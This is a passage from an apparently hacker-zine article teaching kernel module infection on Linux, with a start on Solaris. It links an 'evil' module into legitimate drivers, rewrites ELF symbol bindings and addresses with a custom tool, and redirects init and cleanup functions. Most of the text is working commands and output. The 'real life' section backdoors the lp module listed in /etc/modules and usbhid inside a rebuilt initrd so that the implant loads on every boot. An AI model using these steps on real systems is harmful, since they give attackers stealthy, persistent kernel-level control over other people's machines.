$ mv new.ko orig.ko

$ sudo insmod orig.ko

$ dmesg | tail

...

[ 6791.920363] Init Inject!

And the magic occurs :)

As already explained by truff, if we want the original module to work properly, we need to call its initialization function. This can be done using an imported symbol which will be fixed at linking time. The init() function is declared as extern: this means that it will be resolved at linking time. We use the following code:

/****************************** evil.c ***********************************/

#include <linux/init.h>

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/errno.h>

MODULE_LICENSE("GPL");

extern int init();

int evil(void) {

init();

printk(KERN_ALERT "Init Inject!");

/* do something */

return 0;

}

/******************************** EOF ************************************/

And it works:

$ dmesg | tail

...

[ 7910.392244] Init Original!

[ 7910.392248] Init Inject!

‑‑‑[ 4 ‑ Real World: Is it so simple?

In this section it will be shown why the method described above when used in real life may not work. In fact the example modules were overly simplified for a better understanding of the basic idea of module infection.

‑‑‑[ 4.1 ‑ Static functions

The majority of Linux system modules are a little bit different from those used above. Here is a more accurate example:

/***************************** orig.c ************************************/

#include <linux/init.h>

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/errno.h>

MODULE_LICENSE("GPL");

static int init(void) {

printk(KERN_ALERT "Init Original!");

return 0;

}

static void clean(void) {

printk(KERN_ALERT "Exit Original!");

return;

}

module_init(init);

module_exit(clean);

/******************************** EOF ************************************/

Let's try to use our method to inject the old evil code inside this new orig module.

$ ld ‑r orig.ko evil.ko ‑o new.ko

$ sudo insmod new.ko

insmod: error inserting 'new.ko': ‑1 Unknown symbol in module

What? More information is needed:

$ dmesg | tail

...

[ 2737.539906] orig: Unknown symbol init (err 0)

The unknown symbol appears to be init. To understand the reason why init is "unknown" let's have a look at the symbol table of new.ko:

$ objdump ‑t new.ko

...

SYMBOL TABLE:

...

00000000 l F .text00000019 clean

00000020 l F .text0000001b init

...

00000040 g F .text00000020 evil

00000000 g O .gnu.linkonce.this_module00000174 __this_module 00000000 g F .text00000019 cleanup_module

00000020 g F .text0000001b init_module

00000000 *UND*00000000 mcount

00000000 *UND*00000000 printk

00000000 *UND*00000000 init

This output shows that there are now two "init" symbols, one of them not being defined (*UND*). This means that the linker does not perform correctly the linking between the init functions in orig.ko and evil.ko. As a result, when the module is loaded, the kernel tries to find the init symbol, but since it is not defined anywhere it fails to do so and the module is not loaded.

‑‑‑[ 4.1.1 ‑ Local symbol

The 'readelf' tool can give us more insight:

$ readelf ‑s orig.ko

Symbol table '.symtab' contains 26 entries:

Num: Value Size Type Bind Vis Ndx Name ...

14: 00000020 27 FUNC LOCAL DEFAULT 2 init ...

To summarize, we know about the init symbol that:

‑ its relative address is 0x00000020;

‑ its type is a function;

‑ its binding is local;

The symbol binding is now local (while it was previously global) since the init function is now declared 'static' in orig.c. This has the effect to reduce its scope to the file in which it is declared. For this reason the symbol was not properly resolved by the linker. We need to do something in order to change the scope of init, otherwise the injection won't work.

‑‑‑[ 4.1.2 ‑ Changing symbol binding

It's possible to change a symbol binding using the 'objcopy' tool. In fact the '‑‑globalize‑symbol' option can be used to give global scoping to the specified symbol:

$ objcopy ‑‑globalize‑symbol=init ./orig.ko orig2.ko

But if for some reason, objcopy is not present, the tool that I wrote can also globalize a particular symbol modifying all the necessary fields inside the ELF file.

Each symbol table entry in the .symtab section is defined as follows [2]:

/******************************** EOF ************************************/

typedef struct

{

Elf32_Wordst_name;/* Symbol name (string tbl index) */

Elf32_Addrst_value;/* Symbol value */

Elf32_Wordst_size;/* Symbol size */

unsigned charst_info;/* Symbol type and binding */

unsigned charst_other;/* Symbol visibility */

Elf32_Sectionst_shndx;/* Section index */

} Elf32_Sym;

/******************************** EOF ************************************/

First, it's necessary to find in the ELF file the symbol we are looking for (init) and check if it has a global or a local binding. The function ElfGetSymbolByName() searches the offset at which init symbol is located in the .symtab and it fills the corresponding "Elf32_Sym sym" structure. Next, the binding type must be checked by looking at the st_info field. Passing sym.st_info to the macro ELF32_ST_BIND() defined in "<elf.h>", returns the expected binding value.

If the symbol has a local binding, these steps have to be performed:

1. Reorder the symbols: the symbol we are interested in must be placed among the global symbols inside the .symtab section. We'll see later why this step is mandatory. We need to move the init symbol from:

$ readelf ‑s orig.ko

Symbol table '.symtab' contains 26 entries:

Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND

1: 00000000 0 SECTION LOCAL DEFAULT 1

2: 00000000 0 SECTION LOCAL DEFAULT 2

3: 00000000 0 SECTION LOCAL DEFAULT 4

4: 00000000 0 SECTION LOCAL DEFAULT 5

5: 00000000 0 SECTION LOCAL DEFAULT 6

6: 00000000 0 SECTION LOCAL DEFAULT 8

7: 00000000 0 SECTION LOCAL DEFAULT 9

8: 00000000 0 SECTION LOCAL DEFAULT 10

9: 00000000 0 SECTION LOCAL DEFAULT 12

10: 00000000 0 SECTION LOCAL DEFAULT 13

11: 00000000 0 SECTION LOCAL DEFAULT 14

12: 00000000 0 FILE LOCAL DEFAULT ABS orig.c 13: 00000000 25 FUNC LOCAL DEFAULT 2 clean

14: 00000020 27 FUNC LOCAL DEFAULT 2 init <‑‑‑‑‑

15: 00000000 12 OBJECT LOCAL DEFAULT 5 __mod_license6 16: 00000000 0 FILE LOCAL DEFAULT ABS orig.mod.c 17: 00000020 35 OBJECT LOCAL DEFAULT 5 __mod_srcversion31 18: 00000043 9 OBJECT LOCAL DEFAULT 5 __module_depends 19: 00000000 192 OBJECT LOCAL DEFAULT 8 ____versions 20: 00000060 59 OBJECT LOCAL DEFAULT 5 __mod_vermagic5 21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module 22: 00000000 25 FUNC GLOBAL DEFAULT 2 cleanup_module 23: 00000020 27 FUNC GLOBAL DEFAULT 2 init_module 24: 00000000 0 NOTYPE GLOBAL DEFAULT UND mcount 25: 00000000 0 NOTYPE GLOBAL DEFAULT UND printk

To:

Symbol table '.symtab' contains 26 entries:

Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND

1: 00000000 0 SECTION LOCAL DEFAULT 1

2: 00000000 0 SECTION LOCAL DEFAULT 2

3: 00000000 0 SECTION LOCAL DEFAULT 4

4: 00000000 0 SECTION LOCAL DEFAULT 5

5: 00000000 0 SECTION LOCAL DEFAULT 6

6: 00000000 0 SECTION LOCAL DEFAULT 8

7: 00000000 0 SECTION LOCAL DEFAULT 9

8: 00000000 0 SECTION LOCAL DEFAULT 10

9: 00000000 0 SECTION LOCAL DEFAULT 12

10: 00000000 0 SECTION LOCAL DEFAULT 13

11: 00000000 0 SECTION LOCAL DEFAULT 14

12: 00000000 0 FILE LOCAL DEFAULT ABS orig.c 13: 00000000 25 FUNC LOCAL DEFAULT 2 clean 14: 00000000 12 OBJECT LOCAL DEFAULT 5 __mod_license6 15: 00000000 0 FILE LOCAL DEFAULT ABS orig.mod.c 16: 00000020 35 OBJECT LOCAL DEFAULT 5 __mod_srcversion31 17: 00000043 9 OBJECT LOCAL DEFAULT 5 __module_depends 18: 00000000 192 OBJECT LOCAL DEFAULT 8 ____versions 19: 00000060 59 OBJECT LOCAL DEFAULT 5 __mod_vermagic5

20: 00000020 27 FUNC GLOBAL DEFAULT 2 init <‑‑‑‑‑

21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module 22: 00000000 25 FUNC GLOBAL DEFAULT 2 cleanup_module 23: 00000020 27 FUNC GLOBAL DEFAULT 2 init_module 24: 00000000 0 NOTYPE GLOBAL DEFAULT UND mcount 25: 00000000 0 NOTYPE GLOBAL DEFAULT UND printk

This task is accomplished by the "ReorderSymbols()" function.

2. Updating the information about the init symbol (i.e. its offset, index, etc..) according to its new position inside the .symtab section.

3. Changing the symbol binding from local to global by modifying the st_info field using the ELF32_ST_INFO macro:

#define ELF32_ST_INFO(b, t)(((b)<<4)+((t)&0xf))

Where 'b' is the symbol binding and 't' the symbol type. The binding values are:

Name Value

==== =====

STB_LOCAL 0

STB_GLOBAL 1

STB_WEAK 2

STB_LOPROC 13

STB_HIPROC 15

Obviously, STB_GLOBAL has to be used for our purpose.

The type values are:

Name Value

==== =====

STT_NOTYPE 0

STT_OBJECT 1

STT_FUNC 2

STT_SECTION 3

STT_FILE 4

STT_LOPROC 13

STT_HIPROC 15

The STT_FUNC is the type value to specify functions.

So, the resulting macro will be:

ELF32_ST_INFO(STB_GLOBAL, STT_FUNC);

The init st_info field should then be set equal to the macro's result.

4. Updating the symtab section header, defined as:

typedef struct {

Elf32_Wordsh_name;

Elf32_Wordsh_type;

Elf32_Wordsh_flags;

Elf32_Addrsh_addr;

Elf32_Offsh_offset;

Elf32_Wordsh_size;

Elf32_Wordsh_link;

Elf32_Wordsh_info;

Elf32_Wordsh_addralign;

Elf32_Wordsh_entsize;

} Elf32_Shdr;

The header can be output by the 'readelf ‑e' command:

$ readelf ‑e orig.ko

ELF Header:

...

Section Headers:

[Nr] Name Type Addr Off Size ES Flg Lk Inf Al ...

[15] .shstrtab STRTAB 00000000 00040c 0000ae 00 0 0 1 [16] .symtab SYMTAB 00000000 0007dc 0001a0 10 17 21 4 [17] .strtab STRTAB 00000000 00097c 0000a5 00 0 0 1

The value of the information (sh_info) field (reported as 'Inf') depends on the section header type (sh_type):

sh_type sh_link sh_info

======= =======

SHT_DYNAMIC The section header index of 0 the string table used by entries in the section.

SHT_HASH The section header index of 0 the symbol table to which the hash table applies.

SHT_REL, The section header index of The section header index of SHT_RELA the associated symbol table. the section to which the

relocation applies.

SHT_SYMTAB, The section header index of One greater than the symbol SHT_DYNSYM the associated string table. table index of the last

local symbol (binding

STB_LOCAL).

other SHN_UNDEF 0

The sh_info must be updated according to the rules of the SHT_SYMTAB type. In our example, its value will be 20 = 19 + 1 (remember that our symbol will be placed after the "__mod_vermagic5" symbol, whose entry number is 19). This is the reason why reorder the symbol list (step 1) is a necessary step.

All these tasks are accomplished by the tool I wrote by using this option:

./elfchger ‑g [symbol] <module_name>

Where [symbol] is the symbol name which binding value has to be modified.

‑‑‑[ 4.1.3 Try again

At this point we can try another test, in which the developed tool will be used. The two modules (orig.c and evil.c) and the Makefile remain the same.

The first step is to change the init binding from 'local' to 'global'. The outcome of the elfchger script can be checked by looking at the readelf's output before and after its use. Before running the script readelf outputs:

$ readelf ‑a orig.ko

...

Section Headers:

[Nr] Name Type Addr Off Size ES Flg Lk Inf Al ...

[16] .symtab SYMTAB 00000000 0007dc 0001a0 10 17 21 4

...

Symbol table '.symtab' contains 26 entries:

Num: Value Size Type Bind Vis Ndx Name ...

10: 00000000 0 SECTION LOCAL DEFAULT 13

11: 00000000 0 SECTION LOCAL DEFAULT 14

12: 00000000 0 FILE LOCAL DEFAULT ABS orig.c 13: 00000000 25 FUNC LOCAL DEFAULT 2 clean 14: 00000020 27 FUNC LOCAL DEFAULT 2 init ...

21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module 22: 00000000 25 FUNC GLOBAL DEFAULT 2 cleanup_module ...

Let's run the script on the orig.ko file:

$ ./elfchger ‑g init orig.ko

[+] Opening orig.ko file...

[+] Reading Elf header...

>> Done!

[+] Finding ".symtab" section...

>> Found at 0x73c

[+] Finding ".strtab" section...

>> Found at 0x764

[+] Getting symbol' infos:

>> Symbol found at 0x8bc

>> Index in symbol table: 0xe

[+] Reordering symbols:

>> Starting:

>> Moving symbol from f to e

>> Moving symbol from 10 to f

>> Moving symbol from 11 to 10

>> Moving symbol from 12 to 11

>> Moving symbol from 13 to 12

>> Moving symbol from 14 to 13

>> Moving our symbol from 14 to 14

>> Last LOCAL symbol: 0x14

>> Done!

[+] Updating symbol' infos:

>> Symbol found at 0x91c

>> Index in symbol table: 0x14

>> Replacing flag 'LOCAL' located at 0x928 with 'GLOBAL'

[+] Updating symtab infos at 0x73c

Let's see what happened:

$ readelf ‑a orig.ko

...

Section Headers:

[Nr] Name Type Addr Off Size ES Flg Lk Inf Al ...

[16] .symtab SYMTAB 00000000 0007dc 0001a0 10 17 20 4 [17] .strtab STRTAB 00000000 00097c 0000a5 00 0 0 1

...

Symbol table '.symtab' contains 26 entries:

Num: Value Size Type Bind Vis Ndx Name ...

18: 00000000 192 OBJECT LOCAL DEFAULT 8 ____versions 19: 00000060 59 OBJECT LOCAL DEFAULT 5 __mod_vermagic5 20: 00000020 27 FUNC GLOBAL DEFAULT 2 init 21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module ...

So as expected:

‑ the position of init is changed from 14 to 20 in the symbol table; ‑ the 'Inf' field in the .symtab header has changed: its current value is 20 (19 (last index local symbol) + 1);

‑ the binding of init has changed from local to global.

Now we can link together orig.ko and evil.ko:

$ ld ‑r orig.ko evil.ko ‑o new.ko

$ objdump ‑t new.ko

...

00000040 g F .text00000020 evil

00000000 g O .gnu.linkonce.this_module00000174 __this_module 00000000 g F .text00000019 cleanup_module

00000020 g F .text0000001b init_module

00000000 *UND*00000000 mcount

00000000 *UND*00000000 printk

00000020 g F .text0000001b init

We can notice that the init symbol is no more *UND*. The final step is to modify the value of init_module:

$ ./elfchger ‑s init_module ‑v 00000040 new.ko

[+] Opening new.ko file...

[+] Reading Elf header...

>> Done!

[+] Finding ".symtab" section...

>> Found at 0x954

[+] Finding ".strtab" section...

>> Found at 0x97c

[+] Getting symbol' infos:

>> Symbol found at 0xbfc

>> Index in symbol table: 0x1e

[+] Replacing 0x00000020 with 0x00000040... done!

Let's try to load module:

$ mv new.ko orig.ko

$ sudo insmod orig.ko

$ dmesg|tail

...

[ 2385.342838] Init Original!

[ 2385.342845] Init Inject!

Cool!! It works!

‑‑‑[ 4.2 Static __init init functions

In the previous section it was demonstrated how to inject modules when the init function is declared as static. However in some cases the startup function in the kernel modules is defined with the __init macro:

static int __init function_name();

The __init macro is used to describe the function as only being required during initialisation time. Once initialisation has been performed, the kernel will remove this function and release the corresponding memory.

The __init macro is defined in "include/linux/init.h":

/***************************************

#define __init __section(.init.text) __cold notrace

/***************************************

The __section macro is defined in "include/linux/compiler.h":

/***************************************

#define __section(S) __attribute__ ((__section__(#S)))

/***************************************

While __cold macro is defined in "/include/linux/compiler‑gcc*.h":

/***************************************

#define __cold __attribute__((__cold__))

/***************************************

When the __init macro is used, a number of GCC attributes are added to the function declaration. The __cold attribute informs the compiler to optimize it for size instead of speed, because it'll be rarely used. The __section attribute informs the compiler to put the text for this function in a new section named ".init.text" [5]. How these __init functions are called can be checked in "kernel/module.c":

/***************************************

static void __init do_initcalls(void)

{

initcall_t *fn;

for (fn = __early_initcall_end; fn < __initcall_end; fn++) do_one_initcall(*fn);

/* Make sure there is no pending stuff from the initcall sequence */

flush_scheduled_work();

}

/***************************************

For each step of the loop inside the do_initcalls() function, an __init function set up by the module_init macro is executed. The injection will work even if the function is declared with __init.

The module orig is as follows:

/******************************** orig.c *********************************/

#include <linux/init.h>

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/errno.h>

MODULE_LICENSE("GPL");

static int __init init(void) {

printk(KERN_ALERT "Init Original!");

return 0;

}

static void clean(void) {

printk(KERN_ALERT "Exit Original!");

return;

}

module_init(init);

module_exit(clean);

/******************************** EOF ************************************/

After the compilation and as expected, a new .init.text section has appeared:

$ objdump ‑t orig.ko

...

00000000 l F .init.text00000016 init

00000000 l O .modinfo0000000c __mod_license6

00000000 l df *ABS*00000000 orig.mod.c

00000020 l O .modinfo00000023 __mod_srcversion31

00000043 l O .modinfo00000009 __module_depends

00000000 l O __versions000000c0 ____versions

00000060 l O .modinfo0000003b __mod_vermagic5

00000000 g O .gnu.linkonce.this_module00000174 __this_module 00000000 g F .text00000019 cleanup_module

00000000 g F .init.text00000016 init_module

00000000 *UND*00000000 mcount

00000000 *UND*00000000 printk

Both init and init_module symbols are part of the .init.text section. This new issue can be solved by defining the evil() function as __init:

/******************************** evil.c *********************************/

#include <linux/init.h>

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/errno.h>

MODULE_LICENSE("GPL");

extern int __init init();

int __init evil(void) {

init();

printk(KERN_ALERT "Init Inject!");

/* does something */

return 0;

}

/******************************** EOF ************************************/

Both init() and evil() are prefixed with __init because we need them in the same section. The same steps described in section 4.1.3 are then performed:

1 ‑ Change the init binding:

$ ./elfchger ‑g init orig.ko

[+] Opening orig.ko file...

[+] Reading Elf header...

>> Done!

[+] Finding ".symtab" section...

>> Found at 0x77c

[+] Finding ".strtab" section...

>> Found at 0x7a4

[+] Getting symbol' infos:

>> Symbol found at 0x8fc

>> Index in symbol table: 0xf

[+] Reordering symbols:

>> Starting:

>> Moving symbol from 10 to f

>> Moving symbol from 11 to 10

>> Moving symbol from 12 to 11

>> Moving symbol from 13 to 12

>> Moving symbol from 14 to 13

>> Moving symbol from 15 to 14

>> Moving our symbol from 15 to 15

>> Last LOCAL symbol: 0x15

>> Done!

[+] Updating symbol' infos:

[>> Symbol found at 0x95c

>> Index in symbol table: 0x15

>> Replacing flag 'LOCAL' located at 0x968 with 'GLOBAL'

[+] Updating symtab infos at 0x77c

2 ‑ Link the modules together:

$ ld ‑r orig.ko evil.ko ‑o new.ko

$ objdump ‑t new.ko

...

00000016 g F .init.text0000001b evil

00000000 g O .gnu.linkonce.this_module00000174 __this_module 00000000 g F .text00000019 cleanup_module

00000000 g F .init.text00000016 init_module

00000000 *UND*00000000 mcount

00000000 *UND*00000000 printk

00000000 g F .init.text00000016 init

3 ‑ Change init_module address:

$ ./elfchger ‑s init_module ‑v 00000016 new.ko

[+] Opening new.ko file...

[+] Reading Elf header...

>> Done!

[+] Finding ".symtab" section...

>> Found at 0x954

[+] Finding ".strtab" section...

>> Found at 0x97c

[+] Getting symbol' infos:

>> Symbol found at 0xbec

>> Index in symbol table: 0x1f

[+] Replacing 0x00000000 with 0x00000016... done!

$ objdump ‑t new.ko

...

00000016 g F .init.text0000001b evil

00000000 g O .gnu.linkonce.this_module00000174 __this_module 00000000 g F .text00000019 cleanup_module

00000016 g F .init.text00000016 init_module

00000000 *UND*00000000 mcount

00000000 *UND*00000000 printk

00000000 g F .init.text00000016 init

4 ‑ Load the module in memory:

$ mv new.ko orig.ko

$ sudo insmod orig.ko

$ dmesg|tail

...

[ 323.085545] Init Original!

[ 323.085553] Init Inject!

As expected, it works!

‑‑‑[ 4.3 ‑ What about cleanup_module

These methods work fine with the cleanup_module symbol which is called by the kernel when the module is unloaded. Never forget to deal with the termination function as well because if you don't and if the infected module was removed for some reason then your kernel would most likely crash (because there would now be invalid references to the module).

The module exit function can be injected simply by altering the symbol whose name is specified in elfchger:

$ ./elfchger ‑s cleanup_module ‑v address_evil_fn new.ko

In this way, when the module is unloaded, the evil() function will be invoked instead of the clean() one. You may also need to deal with binding issues and __exit attribute but the adaptation of the previous method is straightforward.

‑‑‑[ 5 ‑ Real life example

This chapter will show the usage of the present method in a real life example. Let's suppose that evil.ko is a working backdoor. We want to inject it into a kernel module not used by any other kernel module. This test was done on Ubuntu 11.10 (x86) with a 3.0.0 kernel.

$ uname ‑a

Linux ubuntu 3.0.0‑15‑generic #26‑Ubuntu SMP Fri Jan 20 15:59:53 UTC 2012 i686 i686 i386 GNU/Linux

Let's begin by checking which modules to infect by using the lsmod command:

$ lsmod

Module Size Used by

serio_raw 4022 0

lp 7342 0

snd_seq_midi 4588 0

usbhid 36882 0

binfmt_misc 6599 1

agpgart 32011 1 drm

snd_intel8x0 25632 2

...

libahci 21667 3 ahci

The command output shows that some of the modules are not used by any other module. These modules can be unloaded safely and then they can be infected with our backdoor using the method presented above. This chapter is divided into two sections in which I'll describe two techniques to load the module when the operating system is booted:

1 ‑ Infect a kernel module (or simply add a new one) on /etc/modprobe.preload (Fedora, etc.) or in /etc/modules on Debian/Ubuntu.

2 ‑ Backdoor initrd.

‑‑‑[ 5.1 ‑ Infecting a kernel module in /etc/modules

First of all, we have to know which modules are in the /etc/modules file:

$ cat /etc/modules

# /etc/modules: kernel modules to load at boot time.

...

lp

As described in the previous section, this module (lp.ko) can be unloaded safely and then infected with our backdoor.

$ find / ‑name lp.ko

...

/lib/modules/3.0.0‑15‑generic/kernel/drivers/char/lp.ko

...

$ cd /lib/modules/3.0.0‑15‑generic/kernel/drivers/char

Next, we check which function is called by the init_module:

$ objdump ‑t lp.ko |grep ‑e ".init.text"

00000000 l F .init.text 00000175 lp_init

00000175 l F .init.text 000000ae lp_init_module

00000000 l d .init.text 00000000 .init.text

00000175 g F .init.text 000000ae init_module

We want to infect the lp_init_module() function, so the evil module will be coded in the following way:

/****************** evil.c ***************************************

#include <linux/init.h>

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/errno.h>

MODULE_LICENSE("GPL");

extern int __init lp_init_module();

int __init evil(void) {

printk(KERN_ALERT "Init Inject! Lp"); lp_init_module();

/* does something */

return 0;

}

/****************** EOF ***************************************

Since the lp_init_module function is static we need to change its binding type to global.

$ ./elfchger ‑g lp_init_module lp.ko

[+] Opening lp.ko file...

[+] Reading Elf header...

>> Done!

[+] Finding ".symtab" section...

>> Found at 0x28a0

[+] Finding ".strtab" section...

>> Found at 0x28c8

[+] Getting symbol' infos:

>> Symbol found at 0x2b30

>> Index in symbol table: 0x24

[+] Reordering symbols:

>> Starting:

>> Moving symbol from 25 to 24

>> Moving symbol from 26 to 25

>> Moving symbol from 27 to 26

>> Moving symbol from 28 to 27

>> Moving symbol from 29 to 28

>> Moving symbol from 2a to 29

>> Moving symbol from 2b to 2a

>> Moving symbol from 2c to 2b

>> Moving symbol from 2d to 2c

>> Moving symbol from 2e to 2d

>> Moving symbol from 2f to 2e

>> Moving symbol from 30 to 2f

>> Moving symbol from 31 to 30

>> Moving symbol from 32 to 31

>> Moving symbol from 33 to 32

>> Moving symbol from 34 to 33

>> Moving symbol from 35 to 34

>> Moving symbol from 36 to 35

>> Moving symbol from 37 to 36

>> Moving symbol from 38 to 37

>> Moving symbol from 39 to 38

>> Moving symbol from 3a to 39

>> Moving symbol from 3b to 3a

>> Moving symbol from 3c to 3b

>> Moving symbol from 3d to 3c

>> Moving our symbol from 36 to 3d

>> Last LOCAL symbol: 0x3d

>> Done!

[+] Updating symbol' infos:

>> Symbol found at 0x2cc0

>> Index in symbol table: 0x3d

>> Replacing flag 'LOCAL' located at 0x2ccc with 'GLOBAL' [+] Updating symtab infos at 0x28a0

The two modules can be now linked together:

$ ld ‑r lp.ko evil.ko ‑o new.ko

$ objdump ‑t new.ko |grep ‑e init_module ‑e evil

00000000 l df *ABS* 00000000 evil.c

00000000 l df *ABS* 00000000 evil.mod.c

00000223 g F .init.text 00000019 evil

00000175 g F .init.text 000000ae lp_init_module

00000175 g F .init.text 000000ae init_module

Now the relative address of init_module has to be changed to 0000021a:

$ ./elfchger ‑s init_module ‑v 00000223 new.ko

[+] Opening new.ko file...

[+] Reading Elf header...

>> Done!

[+] Finding ".symtab" section...

>> Found at 0x2a34

[+] Finding ".strtab" section...

>> Found at 0x2a5c

[+] Getting symbol' infos:

>> Symbol found at 0x39a4

>> Index in symbol table: 0x52

[+] Replacing 0x00000175 with 0x00000223... done!

The new.ko module must be renamed to lp.ko and then loaded:

$ mv new.ko lp.ko

$ sudo rmmod lp

$ sudo insmod lp.ko

$ dmesg|tail

...

$ dmesg

....

[ 1033.418723] Init Inject! Lp

[ 1033.431131] lp0: using parport0 (interrupt‑driven).

From now on, every time the system is booted, the infected lp kernel module will be loaded instead of the original one.

‑‑‑[ 5.2 ‑ Backdooring initrd

It is also possible to backdoor a module in the initrd image. The target module has to be extracted out of the image, backdoored and then reinserted back. The target module used throughout this example will be usbhid.ko.

In order to inject a kernel module into the initrd image, we'll follow the guide in [9], which explains how to add a new module inside the initrd image. According to [9], the initrd image can be copied from /boot to a target directory (e.g. /tmp) so we can easily work on it:

$ cp /boot/initrd.img‑2.6.35‑22‑generic /tmp/

$ cd /tmp

The image can be now decompressed using the gzip tool:

$ mv initrd.img‑2.6.35‑22‑generic initrd.img‑2.6.35‑22‑generic.gz $ gzip ‑d initrd.img‑2.6.35‑22‑generic.gz

$ mkdir initrd

$ cd initrd/

$ cpio ‑i ‑d ‑H newc ‑F ../initrd.img‑2.6.35‑22‑generic \ ‑‑no‑absolute‑filenames

50522 blocks

The location of the usbhid.ko module has then to be found inside the kernel tree:

$ find ./ ‑name usbhid ./lib/modules/2.6.35‑22‑generic/kernel/drivers/hid/usbhid

$ cd lib/modules/2.6.35‑22‑generic/kernel/drivers/hid/usbhid

At this point it can be easily infected with our evil module:

$ objdump ‑t usbhid.ko |grep ‑e ".init.text"

00000000 l F .init.text000000c3 hid_init

00000000 l d .init.text00000000 .init.text

00000000 g F .init.text000000c3 init_module

000000c3 g F .init.text00000019 hiddev_init

Since we want to infect the hid_init() function, the evil module will be coded in the following way:

/****************** evil.c ***************************************

#include <linux/init.h>

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/errno.h>

MODULE_LICENSE("GPL");

extern int __init hid_init();

int __init evil(void) {

hid_init();

printk(KERN_ALERT "Init Inject! Usbhid");

/* does something */

return 0;

}

/****************** EOF ***************************************

$ ./elfchger ‑g hid_init usbhid.ko

[+] Opening usbhid.ko file...

[+] Reading Elf header...

>> Done!

[+] Finding ".symtab" section...

>> Found at 0xa24c

[+] Finding ".strtab" section...

>> Found at 0xa274

[+] Getting symbol' infos:

>> Symbol found at 0xa4dc

>> Index in symbol table: 0x24

[+] Reordering symbols:

>> Starting:

>> Moving symbol from 25 to 24

...

>> Moving symbol from a6 to a5

>> Moving our symbol from 36 to a6

>> Last LOCAL symbol: 0xa6

>> Done!

[+] Updating symbol' infos:

>> Symbol found at 0xacfc

>> Index in symbol table: 0xa6

>> Replacing flag 'LOCAL' located at 0xad08 with 'GLOBAL'

[+] Updating symtab infos at 0xa24c

$ ld ‑r usbhid.ko evil.ko ‑o new.ko

$ objdump ‑t new.ko | grep ‑e init_module ‑e evil

00000000 l df *ABS*00000000 evil.c

00000000 l df *ABS*00000000 evil.mod.c

000000dc g F .init.text0000001b evil

00000000 g F .init.text000000c3 init_module

$ ./elf ‑s init_module ‑v 000000dc new.ko

[+] Opening new.ko file...

[+] Reading Elf header...

>> Done!

[+] Finding ".symtab" section...

>> Found at 0xa424

[+] Finding ".strtab" section...

>> Found at 0xa44c

[+] Getting symbol' infos:

>> Symbol found at 0xd2dc

>> Index in symbol table: 0xd5

[+] Replacing 0x00000000 with 0x000000dc... done!

$ mv new.ko usbhid.ko

Once the target module has been infected with the evil one, we must recreate the initrd image:

$ cd /tmp/initrd/

$ find . | cpio ‑o ‑H newc | gzip > /tmp/initrd.img‑2.6.35‑22‑generic 50522 blocks

$ cp ../initrd.img‑2.6.35‑22‑generic /boot/

From now on, every time the system is booted, the infected usbhid kernel module will be loaded instead of the original one.

‑‑‑[ 6 ‑ What about other systems?

In this last chapter we will see how the presented infection method can applied to other operating systems, specifically Solaris, FreeBSD, NetBSD and OpenBSD. It will be shown that, even if the method is different from that used on Linux, infection is still possible.

‑‑‑[ 6.1 ‑ Solaris

On Solaris systems infecting a kernel module is simpler than on Linux ones. Changing the symbol's name in the .strtab ELF section is sufficient, similarly to truff's original method for the Linux kernel 2.4.* versions. The method has been tested on Solaris 10:

# uname ‑a

SunOS unknown 5.10 Generic_142910‑17 i86pc i386 i86pc

‑‑‑[ 6.1.1 ‑ A basic example

The orig.c and evil.c source codes are as follows:

/******************************** orig.c *********************************/

#include <sys/ddi.h>

#include <sys/sunddi.h>

#include <sys/modctl.h>

extern struct mod_ops mod_miscops;

static struct modlmisc modlmisc =

{

&mod_miscops,

"original",

};

static struct modlinkage modlinkage =

{

MODREV_1,

(void *) &modlmisc,

NULL

};

int _init(void) {

int i;

if ((i = mod_install(&modlinkage)) != 0) cmn_err(CE_NOTE, "Can't load module!\n");

else

cmn_err(CE_NOTE, "Init Original!");

return i;

}

int _info(struct modinfo *modinfop) {

return (mod_info(&modlinkage, modinfop));

}

int _fini(void) {

int i;

if ((i = mod_remove(&modlinkage)) != 0) cmn_err(CE_NOTE, "Can't remove module!\n");

else

cmn_err(CE_NOTE, "Exit Original!");

return i;

}

/******************************** EOF ************************************/

/******************************** evil.c *********************************/

#include <sys/ddi.h>

#include <sys/sunddi.h>

#include <sys/modctl.h>

extern int _evil(void);

int _init(void) {

cmn_err(CE_NOTE, "Inject!");

_evil();

return 0;

}

/******************************** EOF ************************************/

The _init function is called at module initialisation, while the _fini one is called at module cleanup. The _info function prints information about the module when the "modinfo" command is invoked. The two modules can be compiled using the following commands:

# /usr/sfw/bin/gcc ‑g ‑D_KERNEL ‑DSVR4 ‑DSOL2 ‑DDEBUG ‑O2 ‑c orig.c # /usr/sfw/bin/gcc ‑g ‑D_KERNEL ‑DSVR4 ‑DSOL2 ‑DDEBUG ‑O2 ‑c evil.c

Let's have a look at the orig.o ELF file by using the "elfdump" command:

# /usr/ccs/bin/elfdump ‑s orig.o

Symbol Table Section: .symtab

index value size type bind oth ver shndx name [0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF [1] 0x00000000 0x00000000 FILE LOCL D 0 ABS orig.c [2] 0x00000000 0x00000000 SECT LOCL D 0 .text

...

[16] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops [17] 0x00000000 0x0000004d FUNC GLOB D 0 .text _init [18] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install [19] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err [20] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info [21] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info [22] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini [23] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove

The _evil() function must be called instead of _init when the module is loaded. To achieve this, the following steps have to be performed:

‑ Change the _init symbol name to _evil in orig.o;

‑ Link the two modules together;

